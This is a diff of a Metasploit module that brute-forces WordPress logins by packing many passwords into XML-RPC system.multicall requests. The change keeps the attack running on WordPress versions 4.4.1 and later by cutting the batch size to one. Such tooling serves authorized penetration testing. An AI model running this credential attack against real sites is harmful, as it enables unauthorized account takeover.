@@ -13,29 +13,25 @@ class Metasploit3 < Msf::Auxiliary
13
13
include Msf ::Auxiliary ::Scanner
14
14
include Msf ::Auxiliary ::AuthBrute
15
15
include Msf ::Auxiliary ::Report
16
+ # include Metasploit::Framework::LoginScanner::WordpressMulticall
16
17
17
18
def initialize ( info = { } )
18
19
super ( update_info ( info ,
19
20
'Name' => 'Wordpress XML-RPC system.multicall Credential Collector' ,
20
21
'Description' => %q{
21
22
This module attempts to find Wordpress credentials by abusing the XMLRPC
22
23
APIs. Wordpress versions prior to 4.4.1 are suitable for this type of
23
- technique. For other versions, please try the wordpress_xmlrpc_login
24
- module instead.
24
+ technique. For newer versions, the script will drop the CHUNKSIZE to 1 automatically.
25
25
} ,
26
26
'Author' =>
27
27
[
28
- 'Cenk Kalpakoglu <cenk.kalpakoglu[at]gmail.com>' ,
29
28
'KingSabri <King.Sabri[at]gmail.com>' ,
30
29
'William <WCoppola[at]Lares.com>' ,
31
30
'sinn3r'
32
31
] ,
33
32
'License' => MSF_LICENSE ,
34
33
'References' =>
35
34
[
36
- [ 'URL' , 'https://wordpress.org/' ] ,
37
- [ 'URL' , 'http://www.ethicalhack3r.co.uk/security/introduction-to-the-wordpress-xml-rpc-api/' ] ,
38
- [ 'CVE' , '1999-0502' ] , # Weak password
39
35
[ 'URL' , 'https://blog.cloudflare.com/a-look-at-the-new-wordpress-brute-force-amplification-attack/' ] ,
40
36
[ 'URL' , 'https://blog.sucuri.net/2014/07/new-brute-force-attacks-exploiting-xmlrpc-in-wordpress.html' ]
41
37
] ,
@@ -49,7 +45,7 @@ module instead.
49
45
register_options (
50
46
[
51
47
OptInt . new ( 'BLOCKEDWAIT' , [ true , 'Time(minutes) to wait if got blocked' , 6 ] ) ,
52
- OptInt . new ( 'CHUNKSIZE' , [ true , 'Number of passwords need to be sent per request. (1700 is the max)' , 1500 ] )
48
+ OptInt . new ( 'CHUNKSIZE' , [ true , 'Number of passwords need to be sent per request. (1700 is the max)' , 1500 ] ) ,
53
49
] , self . class )
54
50
55
51
# Not supporting these options, because we are not actually letting the API to process the
@@ -84,8 +80,10 @@ def check_setup
84
80
print_error ( "#{ peer } :#{ rport } #{ wordpress_url_xmlrpc } does not enable XMLRPC" )
85
81
false
86
82
elsif Gem ::Version . new ( version ) >= Gem ::Version . new ( '4.4.1' )
87
- print_error ( "#{ peer } :#{ rport } #{ wordpress_url_xmlrpc } Target's version (#{ version } ) is not vulnerable to this attack." )
88
- false
83
+ print_error ( "#{ peer } #{ wordpress_url_xmlrpc } Target's version (#{ version } ) is not vulnerable to this attack." )
84
+ vprint_status ( "Dropping CHUNKSIZE from #{ datastore [ 'CHUNKSIZE' ] } to 1" )
85
+ datastore [ 'CHUNKSIZE' ] = 1
86
+ true
89
87
else
90
88
print_status ( "Target #{ peer } is running Wordpress" )
91
89
true
0 commit comments